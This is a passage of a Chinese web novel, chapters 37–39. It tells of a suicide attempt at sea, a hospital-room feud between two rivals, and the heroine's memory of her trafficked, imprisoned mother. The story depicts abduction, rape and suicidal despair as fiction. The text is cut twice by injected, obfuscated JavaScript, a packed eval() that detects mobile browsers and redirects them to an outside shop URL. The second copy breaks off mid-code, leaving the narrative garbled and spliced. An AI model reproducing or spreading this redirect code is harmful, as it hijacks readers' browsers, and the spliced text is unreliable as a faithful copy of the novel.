陈悦目想起过去种种,脑海里有一个念头猛然被捕捉到,从刚才刘芯就一直在说自己活不了,他背后惊出一层冷汗,快速离开店里拨通福春电话。 “喂?” “你们在哪?!” 电话被挂断,再打过去的时候已经关机。陈悦目立刻打电话给阮晓柔和花康宇。 “大姐不能害她,兴许是手机有问题。” “你敢赌吗!刘芯一直要死要活的你敢保证她不会发疯?!” 电话对面沉默。 “我现在报警,你想想她们能去哪里!” 花康宇打来微信说明情况:“我刚才报警了,你沿着海边找找,就我们村附近那片海。大姐总念叨那里。” 陈悦目按掉手机一个大拐弯向海边驶去…… 海浪卷成一道道白线扑向沙滩。福春搂住刘芯坐在老旧的大太阳伞下。 “姐,咱们叫二瓜和呆子也过来吧?” “她们一个要上学一个要开店哪有时间?” 福春皱皱鼻子,“说好了我开车我们四个一起来的。” 刘芯看着大海笑说:“这样就很好了。” “渴不渴?我去买水。” 刘芯拉着她突然提议:“给我挖个城堡吧?咱们上次说好要做个城堡的。” 福春不明所以,她让刘芯坐在她旁边,自己两只手开始吭哧吭哧刨坑。 “我去前面捡点小贝壳做装饰。” 福春:“别走远了。” 城堡堆起一个雏形,里面有阮晓柔喜欢的花园,花康宇想要的阁楼书房,大大的城堡里住着她们四个还有各自的家人,福春在旁边又垒起一座小屋,“姐,看我给你建个私人医院!姐?” 远处只有海浪卷沙,福春抬头张望,海岸空无一人。 她冲向海边大叫:“刘芯——!!” 汪洋中一个黑点晃动,福春抬胳膊抹掉眼里的泪扑进海中。 海面翻涌,日光之下恍若梦境,海水碰撞喘息,她们在中央是彼此唯一的浮木。 “你要干什么!?” 刘芯扯开福春的手,“让我死吧,求你。” “我求求你了!”福春仰天哭喊撕心裂肺,“手术的钱我凑到了真的凑到了!” 刘芯的眼泪融入大海。 “没有我你也能过得很好,离不开的人其实是我。” “那你就别离开啊,寻死腻活的干什么,我说了我不会丢下你。”福春牢牢抓住她,海水杀得抓痕生疼。 “小熙,我就是个累赘,你不要再管我了。” 长久以来病痛侵蚀的不仅是身躯也让她的精神伤痕累累,这个身体总要修修补补就像乡下那间破屋子。刘芯不想让身边人跟着她一起受折磨。老天给她以这副身躯做开始,她唯一可以选择的是带着这副身躯在某时某刻走向结束。 “是谁跟你说的?是不是陈悦目?!” “你还惦记他。”刘芯连连摇头,“这不是显而易见吗?” “不会的,我不能没有你。”福春拽着她走向岸边。 “你成全我吧,汤春福。” 福春停下动作,僵滞回头。 “有些秘密应该带到棺材里……”海浪摇摇晃晃把刘芯挤到福春身边。四月十三日那天,刘芯在海边许愿,想好好感受一次心脏的跳动,如今已经死而无憾。 大海为她们见证,阳光之下真相无所遁形。 刘芯喊道:“我能为你做任何事!” 陈悦目站在海岸边目睹一切。 37. 修罗场 公路边,蓝色车灯在烈风中闪烁。海滩上几个黑点踩出长长一条线。 陈悦目从海里把刘芯抱上岸,与医护们七手八脚将人抬上救护车。车子迅速沿着环海公路驶向北江二院。 福春坐在车上,裹着毯子哭天嚎地:“呜呜,快救救她!” 医生瞅一眼心电监护仪询问刘芯:“心脏有憋闷感吗?会不会想吐?” 从海里上来后刘芯情绪渐渐稳定,这会躺在救护车里还有心思开玩笑,她摆摆手,合上眼睛,等了一会手稍稍拿开氧气面罩虚弱回答:“我的心好像不跳了……” “医生,快拿烫斗电她!”福春吓得嗷嗷哭,“苍天啊,怎么总把好人带走……” 刘芯听着耳旁惨叫弯起嘴角。 小时候他们喜欢学电视剧画符做法,拿张草稿纸在上面画个小人,写上那人的出生年月胡乱施咒。 刘芯曾经也做过一个,为了和福春交换身体。 虽是无稽之谈,可她满怀希望能应验。期盼长年累月化成妄念,对朋友的愧疚远远抵不过对健康的渴望,就连后来被发现时刘芯也只是着急想为自己找一个合理的解释。 没想到福春拿着那张纸看了又看,然后拿笔在上面给自己的小人画了个大大的红心。 “我要有个大大的心脏,咱俩一起用。”福春指着那画上的小人儿傻乐。 刘芯忘了自己是怎么回答的,好像根本没说话。人都呆了。 她抬手摸着福春胸口,心脏在她的掌心扑通扑通,半晌开口问:“你怎么不怪我?” 福春说:“怪什么?好朋友不怪!” 其实真正好的人是福春。 * “……各项指标还不稳定先用药观察,稳定下来后天安排做造影,然后马上手术。” 医生在病床旁交待事宜。刘芯的身体状况急转直下,在海里受了刺激引发急性心肌梗塞,先前安排的搭桥手术也不能再拖。 花康宇和阮晓柔接到消息赶来医院。 医生瞥一眼病床把她们叫到室外叮嘱:“病人求生意志薄弱家属要多鼓励安慰。她的情况比较复杂,有顽强的意志才能增加手术成功的概率。” 福春神色凝重。 走到这一步,事情只有一种结果。刘芯的心结只有福春能解,而福春会怎么做,根本不用猜。 她转身看向病房,下定决心般对医生重重点头,待与陈悦目擦肩而过时,对面抓住她的手。陈悦目艰难说道:“在刘芯和我之间选,你肯定不会要我。” 他握得很用力,把福春的手攥得生疼。 “你肯定不会要我。”陈悦目又说一遍。 走廊里人来人往。福春不知道在想什么,茫然盯着虚空。如果有什么即将破土而出的萌芽也在死神镰刀之下被铲灭。 她挣脱开陈悦目直直走进病房,每一步都慎重而坚定。 福春不敢再赌了,人一辈子能有多少爱分给别人,她每一次都尽全力付出,一旦失去就连皮带肉剜掉一大块。 死去的人回归于天地间做自由的风,留她一个在原地抱着残缺的血肉残喘挣扎。她不要这样了,她不再爱别人,爱的人也不准再离开她。 “姐,我会照顾你一辈子。” 刘芯捂住胸口,“小熙,我不是要你为我做什么,一切都是我心甘情愿。” 只要是福春想要的,她可以义无反顾。 “我也是心甘情愿,等手术做完我们就回村。”福春握住她的手,“别离开我好吗?” 陈悦目背对她们低下头。心甘情愿他也说了好多次,福春都当听不见。他心里一股火,想骂福春凭什么作践他,然而答案就摆在那让陈悦目无话反驳。 他心甘情愿啊!能怪得了谁? * 「一位用整个灵魂将真爱完全奉献出来的女性,她已经伟大到难以衡量的程度,以致相较之下没有一个男人不显得平庸、可鄙和心胸狭隘。」 两天后,夏良协拿着水果来探病。他先前被撞的伤似乎没好利索,走起路来依然有点瘸。 “瞧我带什么来了?”人一屁股坐在福春旁边,把燕窝水果这些随手放地上,环视四周,“这怎么不是单间呀?” 夏良协假模假样感叹:“陈悦目是对你不上心还是能力不行,弄个单间都费劲。” 刘芯住的病房后来被陈悦目从六人间大病房托关系换到现在这个两人间,单人间医院不是没有,“这里阳光好。” 福春从果篮里拿出苹果一边削一边说:“而且隔壁没人,累了我还能去床上歇会。” “姐,吃水果。”她把苹果削块一片片摆在小碟上递给刘芯,然后从地上拿起一大袋布料用手持缝纫机嗒嗒开始缝帽子。 “缝什么呢?” “手术帽。” 有小护士敲敲门进来,福春从塑料兜子底下翻出已经做好的帽子,“你要的粉色小花、小恐龙,还有这个稍微透气的。” 夏良协看着她笑:“你怎么什么都干?” “不干白不干。”反正在医院大把时间闲着,进这些布料也不贵,转手一个帽子三五十的卖出去能挣回来好几天床位费。 “真有意思,你和我以前见过的女人都不一样。” 刘芯听见这话叹气,放下手里水果,人不是来看她的也不方便多说什么。不过这大苍蝇比陈悦目还烦人,刘芯回回见他都脑瓜疼。 福春瞄见旁边这副神情,又低下头若无其事回夏良协:“你是不还有事要忙?就不耽误你了。” “赶客呢,行,那我就……” 话说一半陈悦目从外面进来,夏良协刚抬起屁股又马上坐回去。 “那我就再坐一会。”他坐那翘着二郎腿冲陈悦目挑眉,摆明了今天过来就是冲他。 两人恩恩怨怨扯了这些年,夏良协已过而立实在不愿意跟小屁孩计较,况且自己是陈教授的人,不看僧面也要看佛面,挑什么时机收拾陈悦目都要看陈教授的眼色。 可是自己手下留情也要对面人领情,陈悦目这孙子非但不领情反而三翻四次对他骑脸输出。医院那天之后他居然真去找他老丈人喝茶告状。 小孩才打不过找大人,既然如此他也不客气。 “福春,有空来我家玩啊?” 陈悦目把隔壁床的圆凳拖拉过来一屁股坐在床尾。 “福春,人别跟耗子打交道。” 福春罔若未闻,一边削苹果一边跟夏良协开玩笑:“你家有什么好玩的?游戏机有吗?有没有跳舞机?” 她也有自己的打算。从海边回来之后福春就决心跟陈悦目了断。这几天陈悦目不声不吭呆在医院,福春怎么甩都甩不掉,正好来个搅屎棍可以把他赶走。 “跳舞机没有,但是你可以来我家跳舞,我教你。” 床尾那边不知道怎么弄出一声巨响。陈悦目一脸无辜坐那跟不是他干的一样。福春瞥他一眼,骂道:“我姐心脏不好准备做手术,你有病是不是?” “心脏不好多休息,别什么蛇虫鼠蚁都放进来,我有洁癖。” “跟谁在那指桑骂槐,看不惯那你走啊!”夏良协指着陈悦目。 “你怎么不走,等我轰你?” 福春嘶了一声,两人偃旗息鼓。 病房里聊了一圈吃喝拉撒,过一阵夏良协又兜回福春身上:“你单身这么久要不要给你介绍男朋友?”这人狗嘴里吐不出象牙,福春扫一眼陈悦目,问:“介绍谁呀?我身边可够热闹的。” “都是些烂桃花,我给你介绍的是正经人。”夏良协配合地一唱一和,“能让你做富太太不愁吃喝。” “你真给我介绍人?还是把你自己介绍给我?”福春问他。 等了一会,那边给出回答耐人寻味:“你想要谁就要谁,要一个也行,要两个也行。” 夏良协抓起她腿上的布料把玩,“你这么漂亮有魅力的女人不多找几个男人太可惜了。” 他只想睡到福春才不管她跟几个男人,性/资源和几个哥们分享一下又何妨。福春有越多男人越好,省得到时找他麻烦。只有陈悦目那蠢货才会来真的,这挺好,玩废了到时就让陈悦目接盘。 “别说了。”开口的是刘芯。 “为什么不说?我知道你们这些乡下女孩子其实很开放。”夏良协煽风点火,“你们开放又势利,谁厉害就巴结谁,这是底层人的求生手段无可厚非。” 他敲敲铁架床,“但是要学会看人!不要靠着绣花枕头,去找真材实料有能耐的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575463|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋里四个都是人精,互相看着其他人都没动作也揣着明白装糊涂。 最终陈悦目翘起二郎腿不阴不阳道:“这话从你嘴里说出来没什么信服力。” 夏良协说:“孙子,点的就是你呢!” “你孙子。” “你孙子!” 两人针锋相对,刘芯赶紧拦住:“你们少说两句。” 陈悦目哈地一声嘲讽:“为什么少说?翻了天福春都向着你,你在后面吃水果坐山观虎斗多快乐呀!” “你算哪门子虎,你就是瘪犊子。” “你让瘪犊子揍得鼻青脸肿你算什么?” “你干的破事真好意思炫耀。” 陈悦目得意:“那可不,好人好事就该到处宣扬。” 夏良协咬牙,突然扭脸对福春笑嘻嘻说:“嘿,他真不要脸。” “你们要不在外面打一架得了?” “走吧夏良协?” “你现在长本事了,以前就是个追在我屁股后头摇尾乞怜的可怜虫。” “多少年前的事还翻出来说,现在混得很丢人是吗?”陈悦目故意扯着嗓子,外面人路过他们病房都走的特别慢,“你确实丢人现眼,都结婚了还在外面骗炮嫖/娼,有病没病啊,去过多少次皮肤科,裤/裆都烂了吧?” 俩男的,还号称知识分子,掐起架来比市场小贩还价嘴还碎。 福春已经后悔挑起事端,自己吃不到羊肉惹一身骚,只能任之由之。在她给刘芯倒水的功夫夏良协又开始反击:“你真好意思说我,你也不是什么好东西!” 陈悦目扬着下巴回击:“比你强就行。” “你高中时候的事一件都不记得了?要不要帮你回忆一下?” 搪瓷盘子碰到药瓶发出叮地清脆一响,气氛忽然变得剑拔弩张。 “你再敢说一个字。”陈悦目低吼,没想到对面更加嚣张。 “怎么?在福春面前要面子了?” “我要休息,你们快走。”刘芯下逐客令。 “太晚了。”夏良协站起来,他抓住痛脚可没那么轻易放过,势要把陈悦目的自尊踩在脚底,“你们不知道陈悦目以前和我是同学吧?他是不是从来不说上学时候的事?” 凳子被踢翻,陈悦目冲上去揪他领子,两人扭打在一处,夏良协涨红了脸,双手掰住他的手腕大笑:“福春你知道陈悦目是个瘾君子吗?他高中就开始嗑药了,磕的中科大复试当场失禁!” 咣啷! 盘子摔落在地。 房内终于有了片刻清净。 刘芯捂着胸口喘气:“都闭嘴,这是我的病房!” 护士被按铃叫过来赶人。 夏良协扯开身上的手,洋洋得意。他捋了捋衣领,侧头靠在福春边上对她说:“你是聪明人,想想为什么他爸要把他送出国。有些东西沾上就戒不掉,你这样穷人家的女孩子碰了连挣扎的资本都没有。” 福春脸色铁青,“你说够了没有?” “可别想着当圣母拯救恶人。”对面笑着举起双手,“做毒虫还是做富太你自己选吧哈哈……” 夏良协潇洒离场。 屋内三人默默无言。 福春拽住身边的手,“我们谈谈。” “放开。”陈悦目转身,那张脸盛气凌人,“我没必要对你解释。” 他甩手离开,福春追在后面,一路追到楼梯间拉扯,陈悦目回头质问:“你跟不跟我在一起!” 福春给不出答案,抓他大衣的手一点点松开。 她的态度让陈悦目火大,最开始他自信福春除了他找不到别人,结果现在不仅有个男人还冒出来一个女人。一个新欢一个旧爱,只有他夹在中间什么都不是,像张用剩的废纸。 他把她压在墙边,在逼仄角落中闷头撕扯,身体的渴望先于意识的抗拒。他们抱在一起,像打架像缠绵,一个巴掌换来一个吻,痛苦又快乐,亢奋而悲伤。 福春在某个瞬间转而热烈回应,她与陈悦目就像两只野兽,不知羞耻,没有礼教,只凭冲动占有对方。 等到宣泄尽所有情绪,喘息声回荡在空荡楼梯间,福春闭上眼自暴自弃说道:“跟我去个地方,我告诉你所有的秘密。” 38. 她 北江市海滩距离福春的村子很近。早年那一带都是山,村里的人出来一趟要跋山涉水,走出来就鲜少有再回去的。后来修了公路,海滩边建起酒店和度假村带动了周边乡镇发展。都市的车水马龙冲开了这里的云山雾罩。 小镇上的新一代在潮流与守旧的碰撞混沌中不知不觉长大。 福春开车来到海边。 以前没事时她就找刘芯几个姐妹来海边坐着喝汽水。走过来花半天时间,然后四个人喝一瓶汽水,喝完再走回去。 “走在路上太阳很晒,我给大姐推着轮椅时就在想总有一天要开车来这边看海。”福春把鞋脱了光脚踩在沙滩上,“没想到第一次开车是跟你来。” 陈悦目跟在她身后,两人沿着海岸找到一处礁石。福春熟门熟路爬上去坐在一处平缓光滑的地方,然后回头指着身后对陈悦目说:“坐这。” 海浪滔滔,一卷卷滚向岸边。他们坐在礁石眺望远处,海水平静凶残,把他们在岸边留下的脚印尽数抹掉。 福春忽然问:“你怕死吗?” 陈悦目反问她:“干吗?把我骗出来是为了杀我?” “我杀你干嘛?” “少了个缠你的烦人精。” “你也知道自己烦啊!” “你更烦。” “闹什么脾气?”福春逗他,“你不爱我了吗?” 陈悦目想弄死她,“烦不烦?” “说呀,爱不爱我?” “你不爱我就别问。” “不问就不问。”福春说,“那我也不告诉你我爱谁?” “呵,爱谁谁关我屁事?” “真的?” 陈悦目别过脸,沉默了一阵冒出一句:“赶紧死,死了最好。” 天际红日滚烫,福春扯扯嘴角,叹了口气:“别死,活着多好……” 火烧云倒映在她眼眸,被淹没在黑森森的瞳仁里。 “你到底说不说?”陈悦目问。 先说什么呢?福春的故事很长,长的随意掀开一角都可以娓娓道来。 “你总问我知不知道加缪,不骗你,我真的不知道。读过加缪的人不是我,我也不应该知道这个人,是我把她的人生偷走了。” 那年冬天她被汤家在垃圾堆旁边捡回去,全身只裹了一条红色的小被单。 “小被上一个福一个春,就叫春福得了。” 捡回家时福春小脸被冻得发紫,奶奶捂了好久才把她从鬼门关拉回来。因为是捡来的,小孩们经常凑一起拿她取乐,福春身上没有一天是干净的。 奶奶经常拿剩布给她补衣服鞋袜一边骂她讨债鬼,福春挂着鼻涕站在旁边,晃晃一高一低的小辫傻笑。 被欺负这事她也不是完全不在乎,但是福春跟她奶一样不记事,每次难过一阵就忘掉,然后该吃吃该喝喝,等到下一回又像个小牛犊气呼呼东奔西跑。 事物的发展是偶然也是必然。过了两年,福春长高了,也跑得更快了。还是一样的路,昨天在路口前迈出右脚,今天就迈出左脚拐到另一条道。一帮小屁孩对福春穷追不舍,她拼命地跑,直接撞进没有门的破院。 那天是福春第一次见她。 破木门里面伸出一只脏手,疯子拼命撞门大喊:“我杀了你!” 她是老郝的媳妇,是个疯子。发疯时嚎的整个村都能听见,又哭又笑像中了邪。老郝怕她伤人,把她锁在堆杂物的破木屋里。 她的丈夫老郝是个可怜人,全村最穷,家里连门都没有,小时候还让煤炉烧坏半边脸,因为穷拖到四十岁凑钱找了个老婆,带回来才发现媳妇是疯的,即使是这样老郝也对她不离不弃。 “我杀了你!”女人嚎叫。 后头那帮捧两手牛粪追福春的臭小子们屁滚尿流逃窜,只剩福春一个傻愣愣站那不敢动。 门缝中那张狰狞的脸几乎要挤出门外,疯女人看见只剩她也不叫了,就那么挤在门边盯着瞧。 福春慢慢地也不哭了,一步步走过去。 疯子说你摸摸我。福春说好。 那天下午的太阳暖洋洋照在乡野,她的小手摸上疯子的脸。 疯子咯咯笑,说风把太阳送来摸摸她的脸。 福春告诉她今天自己吃了芽菜包子,疯子说自己一天没吃饭。福春甩下一把糖,看着疯子狼吞虎咽。 她坐在门前玩手指,这次是和疯子一起玩。玩到天黑,奶奶喊她回家吃饭,福春才开口问:“你愿意做我的好朋友吗?” 疯子点头。 福春傻笑,她终于有了朋友,再也不用一个人玩手指。 * 老郝天天在外喝大酒,福春就天天来找疯子,老郝他娘也不拦着,每次只把锁拿起来看一看是不是锁紧就回屋里念经。 在遇见刘芯之前,疯子这儿是她唯一的避风港,两个人隔着漏风的破门一起嗦糖,攒着糖纸折小青蛙。疯子总说疯话,说什么疯话福春都捧场。她对疯子有种天然的亲切感,她既像朋友又像母亲,弥补了福春父母的缺位。 那是福春童年最快乐的时光。 “她最喜欢加缪,提他提的最多,疯得厉害的时候还会说好多我不知道的。”福春懊悔,“我不懂她就教我,教我我也不爱听,她念叨那么多反正是教会了一些。”福春经常一头雾水,最后稀里糊涂陪着她傻乐。 “当时我要是听进去了该多好。” 每一年的生日许愿,福春总会坐在门边对疯子说要她永远留在这,和她做一辈子好朋友。 疯子躺在地上打滚,欢呼声像山洞吹出萧瑟的风。 小孩子最天真残忍,根本不明白自己的快乐多让人绝望。 那晚疯子又在叫,福春跑到老郝家。破木门上栓起的铁链扔在地上,老郝在屋里,他的喘息像虫合蟆咳痰。 福春蹲在院外草坡听屋里动静。过了很久,老郝打着手电从屋里出来,手电筒的光泛在他脸上,照得他眼睛好像融掉的山洞,烂掉的肉糊在脸上真真正正如同厉鬼在世。 福春惊叫一声捂住嘴。光在她脚边照了一会又收回去,等老郝进屋,她悄悄跑到木门边。 疯子被扒下裤子躺在地上。 福春埋头蹲在那很久,终于开口问她:“你是被拐来的吗?” 她长大懂事了,好些状况可以自己想明白,一旦想明白就再也无法装作若无其事。 疯子听见她的话徒然睁大眼,眼泪直直往下掉,手指抠在泥土里,说出了支离破碎的几个字:“骗,火车,骗……” 哗啦,哗啦……海面沉重翻涌。 福春停下来眺望,用食指蘸了蘸礁石上的小水洼在旁边画出几道纹路,“她是在火车上被老乡骗来这的。” 陈悦目歪头看了一阵才想起来,喃喃道: “北大。” “北大。”福春说,“这个校徽是疯子和我一起玩的时候经常画的。” 她是北大的学生,在那年获得了公派出国的名额,放假回家的时候被老乡骗到山区。辗转一年又被卖到老郝家。那时她的精神已经很差,后来在老郝家彻底被折磨疯了。 关于疯子的来历福春七拼八凑猜到真相。 她想救她,但不知道怎么救。 从村里出去的路太颠簸了,根本不可能带着疯子安静逃走。福春去求奶奶出面让她劝老郝家把疯子送回北京,结果被老太太关起门狠狠揍了一顿。 那晚之后老郝察觉到异样,没过多久就换了副锁链栓紧门口,又拿废木板把门缝都钉死。 奶奶也不准她再跑出去瞎玩,泼大粪在老郝家骂了一通,不让福春再去。 福春退缩了,每天只敢站在老郝家院外看一会。那道门后黑黢黢的,她知道疯子也在看她。 一年后,疯子给老郝生了个男孩,疯病也渐渐好了。 村里人都去道喜。 奶奶也领着福春去串门。如今那间破屋也被打扫干净变得敞亮。 一个女人穿着新衣服坐在中央露出胸喂奶,一群人围着逗孩子,男女老少都有。福春站在角落看着哇一声哭出来,无助地在原地大骂:“人去哪了?还给我!” 她的哭喊被笑声掩盖,只有女人抱着小孩呆呆看她。 * “就这样吧。” “就这样?” 陈悦目冷笑:“那你能怎么办?” “是,我能怎么办。”福春承认。 逆着光陈悦目看见余晖破开伪装,一个陌生的福春展现在他面前。陈悦目恍惚,想起初见那天她坐在台阶上的样子。 “反正最后我报警了。”福春的话飘进他耳中。 那天上午警车停在老郝家门口。福春爬上树偷看。周围挤满了人,还有好几个老头跟着进屋。说的什么福春听不见,大伙都在看热闹,疯子冲出屋里拽警察,就差一点点,她的指尖几乎擦着天蓝色衣服。乡亲们一拥而上把人拦开,热情地簇拥把警察送上车。 喜悦的欢送传上树梢,福春望着那张仰天悲嚎的脸跳下树,结果奶奶一早站在树下揪住她的领子硬拖回去。 这场闹剧里福春先扛不住大病一场。她在床上浑浑噩噩大半月,意识模糊之际总是轮回那天的场景,可无论怎么做事情还是一样的结果。 等她病好的时候,老郝家那边出事了。 疯子又犯疯病,让小孩洗澡的时候被溺死,再过一天就是孩子满月,老郝家愁云惨雾。 福春听见疯子的惨叫想去看看,被郝家老太太拦在院外。 她青黑的脸对着福春,眼睛就跟老郝一模一样是全黑的一个洞。福春想跑被老太太从身后揪住领子提起来,攥住佛珠锤她脑袋。 “是你报的警不?” 福春脚尖垫着地面晃悠,仍然倔强抬头:“你们对她可坏。” “这是我们家的事。” “为什么不让她回家?” “这就是她家。” “她是被拐来的。” 老太太变了脸色,狠狠揪她胳膊,“我们家不买她也会有别人买。没人要她就被人贩子拍死,是我家救了她。” “老师说这是拐卖。”福春越说越激动,“我还要去警察局告你们。” 老郝他娘快狠准勒住福春衣服,领口勒得福春喘不上气,想叫又叫不出声。好在奶奶从巷口走来,她才被放开扔在地上。 “滚,不然就叫人贩子再把你卖了。” 奶奶拽起她的胳膊就往外走。福春闹着要见疯子一面,被奶奶揍了几下硬是扯走。 那之后疯子又被关进木屋,福春每天放学路过时就站在老郝家外面远远看一眼,她知道疯子也在门后看她。她们只要每天远远地看一眼就够了。 直到福春考上中专那年,有一天老郝把院里那屋子清出来,福春才发现人早不见了。 村里都传她死了,可是福春总觉得人一定还活着,肯定是被老郝藏起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598426|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 老郝没了疯子之后日子比以前富裕了些,有了钱他又带回来一个越南媳妇,很快村里都忘了疯子。 福春上老郝家大闹一通,被奶奶扇了几个耳光打走。她不死心非要把人找出来。 “是我害了她。”福春惭愧低下头。 如果当初再坚决些带她逃跑,疯子是不是就不会失踪?她陷入到执念里,每天连学都不去上就琢磨怎么找人。 这一次福春下定决心要找到她,带她出去。 “我找了她三年,后来在小宇妈妈那打听到老郝原来帮人看果园时在山里有一处房子。” 顺着这个线索福春摸到山里那处废弃的铁皮棚,终于找到了疯子。福春找到她时人已经遍体鳞伤,屋子里面血迹斑斑。老郝直接把人丢那自生自灭有一段时间,如果不是福春找到她,恐怕她早已经死在铁皮棚里。 福春想马上带人走,但是山太险了。疯子已经谁都不认,见人就咬。就这样强行拉人走,半道上绝对会出事。她想带她逃就要自己找到一条最安全最快的路。于是福春学也不上就每天进山找路,可计划没有变化快。 疯子怀孕了,肚子一天天大起来。 “再不走她真的会死在那,所以那天我决定带她跑。” 北江进入了雨季,天气预报说后面连续一个月都下雨。福春准备在雨季来之前带她逃走。那天天阴蒙蒙的,她往书包里塞满吃食药品还有干净衣服,临出门时顺手抓起地上的斧头。 奶奶在院里忽然说了句话。福春猛地回头,再看时老人专心低头拿板子剥花生好像从来没开过口。 福春管不上那么多,只差一步,只要能把人带出山里,疯子就得救了。 她颠了颠书包,信心满满走向山中。 福春找的那条路自己走过几次,是一条仅仅绕开他们村的小道。山路看似凶险但能很快绕过村子拐进大路逃走,只要抓紧周围枝杈慢慢走就不会有问题。福春想着到时她就握着疯子的手带她一步一步走出来,反正时间多的很,也带够了吃食,在山中待上一天也出不了事。 她还是把事情想简单了。 福春在铁皮棚用斧子开锁的时候动静太大,没一会山里就下起小雨,路变得湿滑,疯子受了刺激哄了好久才愿意跟她出来。等到出来时周围黑压压一片,福春没带手电筒仅靠着手机的光在摸索山路。 她曾很多次梦见那条路。每每在梦里她和疯子都会被困死。福春想这就是报应,是疯子在惩罚她,这样把她困死在那条路上也好,可到最后,窗外鸟语花香唤醒她的意识,睁开眼,外头又是阳光明媚。 而疯子永远被困在那片山里。 “路太滑,她滚下山坡被树枝扎……扎穿。”福春失神呢喃。 血不断流,她拿出所有纱布疯狂裹在疯子身上。带来的东西全部用上了,手机在报完警之后也自动关机。福春不断睁大想看清楚眼前,她感觉到手中脸庞渐渐冰冷。 疯子脸色惨白,人不停颤抖,在失去意识前的那一刻眼神忽然变得清明,她伸出手触碰那张哭花的脸,看着福春抽噎着喊她:“妈妈……” 那一年福春在垃圾堆旁边被汤家捡回去,那一年疯子被人贩卖到老郝家。 出门前,汤家老太太对福春说的是——母子连心。 疯子张着嘴却说不出话。 福春把头抵在她脸侧,她好想抱抱她。 已经来不及了。 福春把书包放在她脑袋下垫着站起身,“我去找人救你,等我回来。” 那只脏手用尽最后一点力抓她,福春狠心扯下来,头也不回跑走。 没想到那成了她见疯子的最后一面。 “我跑回村里喊人,警察也来了,等再回去时怎么也找不着她。” 可能是天太黑,可能是路不熟,她喊了一晚上,就是听不到疯子应她一声。 搜索一直持续到白天,等福春找到当时出事的地方人已经不见,只有枯木折断的痕迹提醒她事情真真实实发生过。 村子附近没有任何人看见疯子,医院也没有她的收治记录,一个大活人就这样凭空消失。 直觉告诉福春这事跟老郝有关,她向警察举报老郝囚禁妇女,拉着人去了那间铁皮棚。 然而福春又把事情想简单了,老郝的事被莫名其妙压下来。 案件不了了之,老郝也趁机带上媳妇跑去城市打工。 那个本该前途光明灿烂的女人的人生就这样草草收尾,连尸首都找不到。 “是我害了她,我杀了我最爱的人。”福春早已默默泪流满面。 是她给了疯子生命终结的最后一击,她人生滑向深渊的每一步都与自己脱不开关系。福春始终迈不过这道坎,那天如果没挣开她的手情况会不一样吗?她质问自己,为什么总是做出错误的决定。 “不怪你。”陈悦目垂眼,望着岩石下簇拥的海面,“换成谁都无能为力。” 道理是道理,现实归现实。 福春明白,陈悦目也知道她明白。可一句话如何能抵得上生离死别,就像陈悦目说的那样,换成谁都无能为力。 “我该死,但是我要活着,活着为她讨个公道。”福春说。 中专毕业后福春一边去山里继续寻找疯子一边等老郝回来。她一直等了两年,老郝他娘被他扔在村里,两年之后“寿终正寝”,然后四月份老郝回来料理后事。 四月十三日,福春在海边看见了老郝。 39. 四月十三日的福春 “路早点修到家门口该多好。”福春说。 直到宽宽的公路修到村口她才顿悟。那条路带来的是生机与希望,是冲开黑暗与愚昧的一束光。 福春经常和刘芯姐妹几个顺着路去海边,她转头问陈悦目:“还记得晓柔给我的布袋子里装的东西吗?” 陈悦目从外衣口袋拿出那个绣着小红花的布口袋,“我知道这东西对你很重要,所以我一直贴身藏着。” “呵,我说家里怎么到处找都找不到。”福春挪了个位置与他并排坐在一起。 “只要我拿着它你就还会回来找我。” 她耸耸肩随意道:“那是坟头土,你爱拿就拿吧。” 海浪轻快,一波一波拍打礁石。 福春为疯子在海岸边找了一处平缓山地上立碑。疯子曾经说过比起山更喜欢海,喜欢看海上日出日落。在那每天都能看到日出日落。 “四月十三日那天家里说晚上媒婆带人来相亲,爸妈要我早点回去。我生闷气,就拉着姐妹几个去海边玩。” 北江海滩四月份的时候人还不多,她们就跟往常一样从村里走过去。四人望着海面东拉西扯,各自许下愿望,轮到福春时她跑到后面小卖部买可乐。 马路上吹起阵阵热气。 她用手扇风看向一旁不经意一瞥,看见那张烧成灰都不会忘记的丑脸。 老郝回来办丧事顺路跑一单滴滴,这两年他一直在北江周边混着,扛过水泥,送过外卖,赶上物流红利最多的时期,他靠着挣辛苦钱买下一辆车。本想着以后就在城里定居过起小日子,没想到老婆趁他不在家这段日子又跑回越南。 村里打电话告诉他老娘死了的消息,他连夜开着车回来,人生兜兜转转又绕到起点。 老郝抽着烟有些感慨,黑豆大的眼睛扫向海滩。 海滩上一个女人正骚里骚气瞟他,然后一步一扭走去前面小卖部。 老郝一咧嘴,抹一把头发将最后一口烟抽尽也低头跟上去。 海浪声沙沙,像汽水冒泡催得人口干舌燥。 福春把钢镚丢在玻璃柜台上要瓶可乐,手撵着路边摘下的野花放在鼻尖轻嗅斜睨身旁。 “可乐两块五。” 老板没收钱,福春也没动作,老郝从冰柜拿出一瓶可乐放福春面前:“可乐和烟一起结账。” 福春收起硬币冲他笑,跟着他上了车。 “你还记得我不?” 老郝完全忘了她,只把福春当成路边揽客的鸡,都不用她做什么就已经迫不及待上钩。他力气大得吓人,周旋中福春借着弯腰捡东西把人挡开,眼睛被车前镜上的挂饰闪了一下。 那就是个很普通的挂饰。 曾经她也有一个扣在书包上,别人都不知道那个挂饰其实是一对,上面还被她拿小刀刻了自己的名字,刻春字的那个一直被她随身带着,后来丢在了陈悦目家里。而那个刻福字的…… 